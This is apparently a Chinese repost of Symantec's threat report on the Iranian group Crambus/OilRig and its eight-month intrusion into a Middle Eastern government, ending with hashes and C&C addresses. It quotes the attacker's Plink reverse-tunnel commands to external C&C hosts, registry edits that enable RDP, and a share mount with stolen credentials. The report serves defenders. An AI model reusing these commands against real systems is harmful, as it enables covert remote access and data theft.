伊朗 Crambus 间谍组织(又名 OilRig、APT34)在 2023 年 2 月至 9 月期间对中东政府进行了长达八个月的入侵。在入侵过程中,攻击者窃取了文件和密码,并在一个案例中安装了PowerShell后门(称为PowerExchange),用于监控从Exchange服务器发送的传入邮件,以执行攻击者以电子邮件形式发送的命令,并将结果秘密转发给攻击者。至少 12 台计算机上发生了恶意活动,有证据表明攻击者在另外数十台计算机上部署了后门和键盘记录程序。
除了部署恶意软件之外,攻击者还经常使用公开的网络管理工具 Plink 在受感染的计算机上配置端口转发规则,从而通过远程桌面协议 (RDP) 实现远程访问。还有证据表明,攻击者修改了 Windows 防火墙规则以启用远程访问。
背景
Crambus 是一个长期运作的伊朗间谍组织,针对多个国家的目标开展行动,包括沙特阿拉伯、以色列、阿拉伯联合酋长国、伊拉克、约旦、黎巴嫩、科威特、卡塔尔、阿尔巴尼亚、美国和土耳其。
众所周知,该组织以情报收集和间谍目的为目的进行长期入侵。近年来,它在攻击的早期阶段添加了大量的社会工程成分。
去年,当微软将该组织与针对阿尔巴尼亚政府的破坏性攻击联系起来时,它最近引起了人们的关注。据评估,Crambus 参与了获得初始访问权限并从受影响的网络中窃取数据。随后,其他与伊朗有关的行为体很可能部署了雨刷器。
使用的工具集
在这次最新的攻击中,Crambus 部署了三个以前未被发现的恶意软件,以及 PowerExchange 后门,这是一个尚未归因于 Crambus 的已知后门。除了恶意软件之外,攻击者还使用了许多非本地和合法工具。
- Backdoor.Tokel:能够执行任意PowerShell命令并下载文件。命令和控制 (C&C) 地址存储在名为 token.bin 的单独 RC4 加密文件中,该文件保存在工作目录中。
- Trojan.Dirps:用于枚举目录中的所有文件并执行PowerShell命令。
- Infostealer.Clipog:信息窃取恶意软件,能够复制剪贴板数据、捕获击键并记录输入击键的过程。
- Backdoor.PowerExchange:基于 PowerShell 的恶意软件,可以使用硬编码凭据登录 Exchange 服务器并监视攻击者发送的电子邮件。它使用 Exchange Server 作为 C&C。收到的主题中带有“@@”的邮件包含攻击者发送的命令,这些命令允许攻击者执行任意 PowerShell 命令、写入文件和窃取文件。恶意软件会创建一个 Exchange 规则(称为“defaultexchangerules”)来过滤这些邮件并移动它们自动到“已删除邮件”文件夹。
- Mimikatz:公开可用的凭证转储工具。
- Plink:PuTTY SSH客户端的命令行连接工具
攻击时间表
目标网络上恶意活动的第一个证据发生在 2023 年 2 月 1 日,当时从可疑目录 CSIDL_PROFILE\public\sat 执行了未知的 PowerShell 脚本(文件名:joper.ps1)。在接下来的 7 天内,同一脚本在同一台计算机(计算机 1)上执行了多次。
四天后,即 2 月 5 日,攻击者访问了第二台计算机(计算机 2),并使用 Plink(msssh.exe)的重命名版本(PuTTY SSH 客户端的命令行连接工具)来配置端口转发规则允许从远程主机进行 RDP 访问:
CSIDL_PROFILE\public\sat\msssh.exe 151.236.19[.]91 -P [REMOVED]-C -N -R 0.0.0.0:54231:127.0.0.1:3389 -l [REMOVED] -pw [REMOVED]
直到 2 月 12 日,这个伪装的 Plink (mssh.exe) 在此计算机上反复执行。
2 月 21 日,当执行 netstat 命令以检索所有 TCP 和 UDP 连接的完整列表时,Web 服务器(Web Server 1)上开始了恶意活动。
netstat /an
netstat 命令行开关执行以下操作:
- /a:告诉netstat显示所有连接和监听端口。
- /n:告诉 netstat 显示数字地址,而不是将主机名解析为 IP 地址。
接下来,再次启动 Plink (mssh.exe) 以启用远程 RDP 访问。发生这种情况后,有证据表明 PowerShell 脚本被用来挂载网络上另一台计算机的 C: 驱动器。
4 月 8 日,攻击者获得了对第三台计算机(计算机 3)的访问权限,其中从 %USERPROFILE%\public 目录执行 Plink 的另一个变体,并用于将所有可用接口上的端口 3389 转发到端口 999:
CSIDL_PROFILE\public\plink.exe [REMOVED] -pw [REMOVED] -P [REMOVED] -2 -4 -T -N -C -R 0.0.0.0:999:127.0.0.1:3389
命令中提供的选项执行以下操作:
- -2 -4:为连接启用 SSH 版本 2 和 IPv4 协议。
- -T:为远程会话请求伪终端。
- -N:防止运行远程命令,通常用于设置端口
- -R 0.0.0.0:999:127.0.0.1:3389:指定远程端口转发。它指示远程服务器侦听所有网络接口 (0.0.0.0) 的端口 999,并将任何传入连接转发到本地计算机(运行命令的计算机)上的端口 3389 (127.0.0.1:3389)。这有效地建立了一条隧道,允许攻击者通过 SSH 连接访问远程服务,例如 RDP。
同时,执行了一个未知的批处理文件,该文件将输出重定向到%USERPROFILE%\public 目录中的文本文件。
cmd /c CSIDL_PROFILE\public\p2.bat > CSIDL_PROFILE\public\001.txt 2>&1
紧接着,相同的 Plink 命令又运行了第二次。接下来,相同的未知批处理脚本会被执行多次。
当天晚些时候,Mimikatz 从 %TEMP% 目录执行以转储凭据。
4 月 9 日,另一个 netstat 命令在一台新的受感染计算机、域控制器(计算机 4)上运行:
netstat /aon
“o”选项添加使用每个网络连接或侦听端口的关联进程的进程 ID (PID)。该命令将提供所有活动网络连接(传入和传出)的列表,以及使用这些连接的进程的关联 PID。三小时后,Mimikatz 再次运行以转储凭据。
第二天,即 4 月 10 日,在计算机 3 上执行了一个未知的 Windows 批处理文件(文件名:p.bat)。随后执行了一条 Plink 命令:
plink.exe ssh 78.47.218[.]106 1234qweRRR 443 10999 10.75.45.222 3389
这些选项执行以下操作:
- ssh:表示正在使用 SSH 协议进行连接。
- 78.47.218[.]106:使用 SSH 连接的远程服务器的 IP 地址。
- 1234qweRRR:可能需要对远程服务器进行身份验证所需的密码。
- 443:远程服务器上 SSH 连接的端口号。
- 10999:Plink 用于创建隧道的本地端口号。
- 10.75.45.222:本地计算机或网络的 IP 地址。
- 3389:远程桌面协议 (RDP) 端口号。这表明流量正在从远程服务器的端口 3389 转发到本地计算机以进行远程桌面访问。
该命令用于从受感染的计算机设置端口转发隧道,作为访问远程服务器的 RDP 服务的方法,就像它在本地运行一样。
4 月 23 日,计算机 3 上的活动恢复,执行了以前未见过的名为 Backdoor.Tokel(文件名:telecom.exe)的恶意软件。
5月7日,在域控制器(计算机4)上执行了可疑的PowerShell命令,以运行未知脚本(文件名:hwf.ps1)。
恶意活动似乎停止了近一个月,直到 6 月 4 日,Backdoor.Tokel 在计算机 3 上再次执行。6 月 17 日,在域控制器(计算机 4)上执行了可疑的 PowerShell 命令,以运行另一个未知脚本(文件名:zone.ps1)。
收集电子邮件
6月20日,Backdoor.PowerExchange(文件名:setapp.ps1)在计算机3上运行。
基于 PowerShell 的后门旨在执行从攻击者处收到的命令。这是通过登录 Exchange Server 上受感染的邮箱并监视来自攻击者的传入电子邮件来完成的。主题行中包含“@@”的电子邮件会被 Backdoor.PowerExchange 读取,并能够执行从攻击者处收到的命令,有效地将 Exchange Server 用作 C&C。
该脚本允许执行四个命令:
- 如果检测到附件,它将使用 Base64 对其进行解码并通过 PowerShell 运行它。
- cf:解码电子邮件正文中的 Base64 字符串并通过 PowerShell 执行。命令的结果通过电子邮件发送回攻击者。
- uf:使用Base64解码文件路径和文件内容,并调用WriteAllBytes将文件写入系统。
- df:对指定文件进行Base64编码,并通过电子邮件发送给攻击者。如果文件大于 5 MB,它会向攻击者发送以下消息:“大小大于 5 MB”。
攻击者可能将该脚本安装在网络上的普通计算机上,以避免引起异常网络流量引起的怀疑,因为与 Exchange Server 的内部连接是预期行为。
恶意活动仍在继续
7 月 1 日,攻击者再次利用 Plink 的伪装版本,通过将 RDP 重定向到任何侦听接口上的端口 12345,在计算机 3 上打开隧道,从而有效地允许通过 RDP 与受感染计算机进行外部连接。第二天,即 7 月 2 日,攻击者使用 netstat 列出所有打开和侦听的 TCP 和 UDP 端口。攻击者可能正在检查 SSH 隧道是否仍处于活动状态。
7月8日,攻击者利用域控制器(计算机4)在远程主机(10.75.45[.]222)上创建服务来运行未知脚本(文件名:pl.bat)。该服务被配置为在启动过程中自动启动。
在接下来的两天(7 月 9 日至 10 日)内,另一个名为 Trojan.Dirps(文件名:virtpackage.exe)的新恶意软件在计算机 3 上重复执行。
7 月 11 日,攻击者向计算机 3 引入了更多恶意工具,安装了第三个新恶意软件,名为 Infostealer.Clipog(文件名(poluniq.exe)),用于捕获击键并窃取剪贴板内容。
第二天(7 月 12 日),攻击者在域控制器(计算机 4)上运行 Mimikatz 来转储凭据。
7 月 15 日,攻击者再次在域控制器(计算机 4)上运行未知的 PowerShell 脚本 (zone.ps1),随后运行第二个未知脚本 (copy.ps1)。
7 月 18 日,攻击者再次在计算机 3 上执行 Infostealer.Clipog,然后使用 Plink 创建 SSH 隧道来访问 RDP 服务。该 SSH 隧道于 8 月 3 日再次创建。
8 月 6 日,另一个未知的 PowerShell 脚本(文件名:tnc.ps1)在域控制器(计算机 4)上执行。紧接着,观察到Nessus漏洞扫描,专门寻找网络上其他机器上的Log4j漏洞。虽然这可能是合法的漏洞扫描活动,但不久之后就会执行 netsh 来列出所有防火墙规则。
CSIDL_SYSTEM\netsh.exe advfirewall firewall show rule name=[REMOVED] verbose
随后,执行了另一个 PowerShell 脚本。该脚本似乎旨在查询和收集有关 Windows 系统上的本地用户组及其成员的信息。其输出是有关 SID、名称、对象类以及本地用户组及其成员的主要来源(采用结构化格式)的信息。
CSIDL_SYSTEM\windowspowershell\v1.0\powershell -NoProfile -Command ;& {$j = sajb {$ErrorActionPreference = 'SilentlyContinue';$groups = Get-LocalGroup | Select-Object Name, Domain, SID;foreach($g in $groups){-join($g.SID,'|',$g.Name);$members = Get-LocalGroupMember -SID $g.SID | Select *;foreach($m in $members){-join(' ',$m.SID,'|',$m.Name,'|',$m.ObjectClass,'|',$m.PrincipalSource);}}};$r = wjb $j -Timeout 300; rcjb $j;};
此后,net.exe 用于列出所有映射的驱动器,然后使用 WMI(Windows Management Instrumentation)执行 Plink,以便在受感染的主机上打开端口转发,从而允许远程 RDP 访问。
8 月 7 日和 8 月 12 日,Plink 被从互联网下载到域控制器(计算机 4)并保存为 \ProgramData\Adobe.exe。
8 月 30 日,攻击者获得了对第二个 Web 服务器(Web Server 2)的访问权限。他们首先使用 Plink 启用从 C&C 服务器 (91.132.92[.]90) 端口 12345 上对 RDP 的访问。然后他们使用不同的文件名 (fs-tool.exe) 安装 Infostealer.Clipog。
第二天,即 8 月 31 日,攻击者再次建立隧道,从其 C&C 开放端口 4455 上的 RDP 访问。输出被重定向到文本文件(文件名:001.txt)。当攻击者后来尝试创建相同的隧道(这次使用端口 12345)时,连接可能会出现一些问题。
9月1日,攻击者将注意力转移到另外三台计算机(计算机5、计算机6和计算机7)上,使用Certutil将Plink下载到每台计算机上。然后,他们在 Web 服务器 2 上执行了未知的 PowerShell 脚本(文件名:joper.ps1)。
9 月 2 日,攻击者在 Web 服务器 2 上运行以下 netstat 命令:
netstat -a
该命令用于列出所有活动连接。然后再次运行未知的PowerShell脚本(文件名:joper.ps1)。
9月3日,攻击者再次运行joper.ps1,然后执行两条可疑的Wireshark命令:
;CSIDL_SYSTEM_DRIVE\program files\wireshark\extcap\usbpcapcmd.exe; --extcap-interfaces --extcap-version=4.0
;CSIDL_SYSTEM_DRIVE\program files\wireshark\dumpcap.exe; -D -Z none
Wireshark 的 usbcapcmd 实用程序用于捕获指定 USB 设备上的 USB 流量并将捕获的数据保存到文件中。同样,dumpcap也被用来捕获网络数据包。
Usbpcapcmd:
- --extcap-interfaces:该选项用于列出可用的外部捕获接口。
- --extcap-version=4.0:将 Extcap 的版本设置为 4.0(确保与 Wireshark 兼容)。
转储盖:
- -D:用于列出所有可用的捕获接口。
- -Z none:将捕获过滤器设置为“none”,这意味着应捕获指定接口上的所有数据包。
攻击者似乎有兴趣识别任何可用的网络或 USB 接口,他们可以从中捕获计算机上的数据包。
紧接着,一个可疑的 netstat 命令运行了:
netstat -a –n
这将列出所有活动连接并以数字形式将它们打印到标准输出。
joper.ps1再次被执行后,攻击者将注意力转回到计算机3上,在那里他们运行了一些reg.exe命令:
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
cmd.exe /c reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
cmd.exe /c reg.exe ADD ;HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server; /v fDenyTSConnections /t REG_DWORD /d 0 /f
这些命令用于修改系统配置,以通过 RDP 启用对计算机的终端服务(即远程访问)。
几个小时后,执行了一个可疑的 net.exe 命令,以使用窃取的凭据挂载另一台计算机的 c$ 共享。
;CSIDL_SYSTEM\net.exe; use \\[REMOVED]\c$ /user:[REMOVED] [REMOVED]
9 月 4 日,攻击者在 Web 服务器 2 上执行了 joper.ps1 脚本的三个不同变体。然后他们将注意力转回计算机 1,该计算机上安装了 Backdoor.Tokel 恶意软件的新变体。
第二天,即 9 月 5 日,攻击者再次在 Web 服务器 2 上运行 joper.ps1 脚本,同时使用 net.exe 挂载和卸载各种网络共享。然后,他们再次在计算机 3 上执行 Backdoor.Tokel,然后将其安装到另外两台计算机(计算机 9 和计算机 10)上。
恶意活动一直持续到 9 月 9 日,攻击者主要将注意力集中在 Web Server 2 上,运行 joper.ps1 脚本并安装/卸载网络共享。
持续的威胁
Crambus 是一个长期运作、经验丰富的间谍组织,在针对伊朗感兴趣的目标开展长期活动方面拥有丰富的专业知识。在 2019 年工具集泄露后,有人猜测 Crambus 可能会消失。然而,其过去两年的活动表明,它对中东及更远地区的组织构成了持续的威胁。
妥协指标
4d04ad9d3c3abeb61668e52a52a37a46c1a60bc8f29f12b76ff9f580caeefba8 – Backdoor.Tokel
41672b08e6e49231aedf58123a46ed7334cafaad054f2fd5b1e0c1d5519fd532 – Backdoor.Tokel
497e1c76ed43bcf334557c64e1a9213976cd7df159d695dcc19c1ca3d421b9bc – Trojan.Dirps
75878356f2e131cefb8aeb07e777fcc110475f8c92417fcade97e207a94ac372 – Infostealer.Clipog
d884b3178fc97d1077a13d47aadf63081559817f499163c2dc29f6828ee08cae – Backdoor.PowerExchange
a1a633c752be619d5984d02d4724d9984463aa1de0ea1375efda29cadb73355a – PowerShell 脚本
22df38f5441dec57e7d7c2e1a38901514d3f55203b2890dc38d2942f1e4bc100 – PowerShell 脚本
159b07668073e6cd656ad7e3822db997d5a8389a28c439757eb60ba68eaff70f – PowerShell 脚本
6964f4c6fbfb77d50356c2ee944f7ec6848d93f05a35da6c1acb714468a30147 – PowerShell 脚本
661c9535d9e08a3f5e8ade7c31d5017519af2101786de046a4686bf8a5a911ff – PowerShell 脚本
db1cbe1d85a112caf035fd5d4babfb59b2ca93411e864066e60a61ec8fe27368 – PowerShell 脚本
497978a120f1118d293906524262da64b15545ee38dc0f6c10dbff3bd9c0bac2 – PowerShell 脚本
db1cbe1d85a112caf035fd5d4babfb59b2ca93411e864066e60a61ec8fe27368 – PowerShell 脚本
6b9f60dc91fbee3aecb4a875e24af38c97d3011fb23ace6f34283a73349c4681 – PowerShell 脚本
497978a120f1118d293906524262da64b15545ee38dc0f6c10dbff3bd9c0bac2 – PowerShell 脚本
be6d631fb2ff8abe22c5d48035534d0dede4abfd8c37b1d6cbf61b005d1959c1 – PowerShell 脚本
22df38f5441dec57e7d7c2e1a38901514d3f55203b2890dc38d2942f1e4bc100 – PowerShell 脚本
661c9535d9e08a3f5e8ade7c31d5017519af2101786de046a4686bf8a5a911ff – PowerShell 脚本
159b07668073e6cd656ad7e3822db997d5a8389a28c439757eb60ba68eaff70f – PowerShell 脚本
6bad09944b3340947d2b39640b0e04c7b697a9ce70c7e47bc2276ed825e74a2a – PowerShell 脚本
ba620b91bef388239f3078ecdcc9398318fd8465288f74b4110b2a463499ba08 – PowerShell 脚本
d0bfdb5f0de097e4460c13bc333755958fb30d4cb22e5f4475731ad1bdd579ec – PowerShell 脚本
5a803bfe951fbde6d6b23401c4fd1267b03f09d3907ef83df6cc25373c11a11a – PowerShell 脚本
1698f9797f059c4b30f636d16528ed3dd2b4f8290e67eb03e26181e91a3d7c3b – PowerShell 脚本
23db83aa81de19443cafe14c9c0982c511a635a731d6df56a290701c83dae9c7 – PowerShell 脚本
41ff7571d291c421049bfbd8d6d3c51b0a380db3b604cef294c1edfd465978d9 – PowerShell 脚本
c488127b3384322f636b2a213f6f7b5fdaa6545a27d550995dbf3f32e22424bf – PowerShell 脚本
6964f4c6fbfb77d50356c2ee944f7ec6848d93f05a35da6c1acb714468a30147 – PowerShell 脚本
927327bdce2f577b1ee19aa3ef72c06f7d6c2ecd5f08acc986052452a807caf2 – PowerShell 脚本
a6365e7a733cfe3fa5315d5f9624f56707525bbf559d97c66dbe821fae83c9e9 – PowerShell 脚本
c3ac52c9572f028d084f68f6877bf789204a6a0495962a12ee2402f66394a918 – PowerShell 脚本
7e107fdd6ea33ddc75c1b75fdf7a99d66e4739b4be232ff5574bf0e116bc6c05 – PowerShell 脚本
78.47.218[.]106 – Plink C&C
192.121.22[.].46 – Plink C&C
151.236.19[.]91 – Plink C&C
91.132.92[.]90 – Plink C&C
转载来源:https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/crambus-middle-east-government
图片来源网络侵权可联系删除